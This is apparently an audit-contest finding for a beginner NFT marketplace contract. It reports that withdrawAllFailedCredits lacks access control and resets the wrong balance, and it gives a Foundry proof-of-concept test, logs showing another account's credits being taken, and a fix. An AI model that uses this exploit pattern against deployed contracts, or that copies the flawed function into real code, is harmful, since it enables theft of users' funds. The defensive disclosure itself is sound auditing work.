Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Withdrawal of Failed Transfer Credits Due to Missing Access Control in `BidBeastsNFTMarketPlace::withdrawAllFailedCredits()`.

Description: Users should be able to ONLY withdraw their OWN failed transfer credits. However, any user can steal funds by calling BidBeastsNFTMarketPlace::withdrawAllFailedCredits() on any _receiver address that is a contract that cannot receive Ether AFTER it makes an NFT sale. There is no check for msg.sender == _receiver which means the function caller can specify any _receiver address and withdraw to their own address. In addition, the failedTransferCredits are incorrectly cleared out for the msg.sender when it should be cleared for the _receiver. I was not sure if this SECOND issue required an entirely separate writeup.

Here is the function in question:

function withdrawAllFailedCredits(address _receiver) external {
@> // no access control checks
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Impact: HIGH - Funds are directly at risk.

Proof of Concept: Insert this test into BidBeastsMarketPlaceTest.t.sol:

function test_withdrawAllFailedCreditsVulnerability() public {
// Step 1: Set up an NFT listing by rejector and a failed payout to create credits
vm.prank(OWNER);
nft.mint(address(rejector)); // Mint NFT (tokenId 0) for rejector
vm.prank(address(rejector));
nft.approve(address(market), 0);
vm.prank(address(rejector));
market.listNFT(0, MIN_PRICE, BUY_NOW_PRICE);
// BIDDER_2 buys the NFT using buyNowPrice, triggering a failed payout to rejector
vm.prank(BIDDER_2);
market.placeBid{value: BUY_NOW_PRICE}(0); // Triggers _executeSale, payout to rejector fails
// Verify that failedTransferCredits for rejector has been credited
uint256 rejectorCredits = market.failedTransferCredits(address(rejector));
assertGt(rejectorCredits, 0, "Rejector should have failed transfer credits");
console.log("Rejector credits after sale: %s", rejectorCredits);
console.log("BIDDER_1 balance before attack: %s", BIDDER_1.balance);
console.log("Rejector failedTransferCredits before attack: %s", market.failedTransferCredits(address(rejector)));
console.log("BIDDER_1 failedTransferCredits before attack: %s", market.failedTransferCredits(BIDDER_1));
// Step 2: Attacker (BIDDER_1) attempts to steal rejector's credits
uint256 attackerBalanceBefore = BIDDER_1.balance;
vm.prank(BIDDER_1);
market.withdrawAllFailedCredits(address(rejector));
// Step 3: Verify the attack
// Attacker should have received the credits
uint256 attackerBalanceAfter = BIDDER_1.balance;
assertEq(
attackerBalanceAfter,
attackerBalanceBefore + rejectorCredits,
"Attacker should have received rejector's credits"
);
console.log("BIDDER_1 balance after attack: %s", BIDDER_1.balance);
console.log("Rejector failedTransferCredits after attack: %s", market.failedTransferCredits(address(rejector)));
console.log("BIDDER_1 failedTransferCredits after attack: %s", market.failedTransferCredits(BIDDER_1));
// Verify that rejector's credits are cleared (this fails due to the bug)
assertEq(market.failedTransferCredits(address(rejector)), 0, "Rejector's credits should be cleared");
// Verify that BIDDER_1's credits are incorrectly reset
assertEq(market.failedTransferCredits(BIDDER_1), 0, "Attacker's credits should be incorrectly reset");
}

I also had to edit the RejectEther contract to allow it to hold/sell NFT's:

contract RejectEther {
// Implement onERC721Received to accept ERC721 tokens
function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC721Received.selector; // Return the correct selector to indicate compliance
}
// Explicitly reject Ether by not having a payable receive or fallback function
// Any attempt to send Ether will revert
}

Here are the console.log outputs:

Logs:
Rejector credits after sale: 4750000000000000000
BIDDER_1 balance before attack: 100000000000000000000
Rejector failedTransferCredits before attack: 4750000000000000000
BIDDER_1 failedTransferCredits before attack: 0
BIDDER_1 balance after attack: 104750000000000000000
Rejector failedTransferCredits after attack: 4750000000000000000
BIDDER_1 failedTransferCredits after attack: 0

Recommended Mitigation: There are really TWO issues here:

  1. Lack of access control

  2. Clearing the wrong address' credit balance

function withdrawAllFailedCredits(address _receiver) external {
+ require(msg.sender == _receiver, "Can only withdraw own credits");
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
(bool success,) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!